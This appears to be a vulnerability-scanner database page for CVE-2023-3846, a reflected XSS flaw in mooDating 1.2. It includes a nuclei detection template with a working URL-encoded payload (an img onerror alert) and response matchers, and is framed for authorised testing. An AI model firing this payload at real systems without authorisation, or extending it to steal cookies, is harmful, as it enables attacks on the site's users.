HexBrain

Browse / CVEs / CVE-2023-3846

CVE-2023-3846· moosocial / moodating· CWE-79

MooDating 1.2 - Cross-Site Scripting

mediumseverity
6.1CVSS score
6%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

A vulnerability classified as problematic has been found in mooSocial mooDating 1.2. This affects an unknown part of the file /pages of the component URL Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely.

Impact

Unauthenticated attackers can inject malicious JavaScript through the URL Handler in the pages component, potentially stealing session cookies and credentials from users of the mooDating platform.

Fix

Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes URL parameters and encodes output to prevent XSS attacks.

How to confirm it

Send: GET {{BaseURL}}/pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1…
Positive when: status_code == 404 and contains(content_type, "text/html") and contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")

Run it with nuclei: nuclei -id CVE-2023-3846 -u <target>

The full check
id: CVE-2023-3846

info:
  name: MooDating 1.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability classified as problematic has been found in mooSocial mooDating 1.2. This affects an unknown part of the file /pages of the component URL Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the URL Handler in the pages component, potentially stealing session cookies and credentials from users of the mooDating platform.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes URL parameters and encodes output to prevent XSS attacks.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3846
    - https://vuldb.com/?ctiid.235197
    - https://vuldb.com/?id.235197
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3846
    cwe-id: CWE-79
    epss-score: 0.05955
    epss-percentile: 0.93341
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from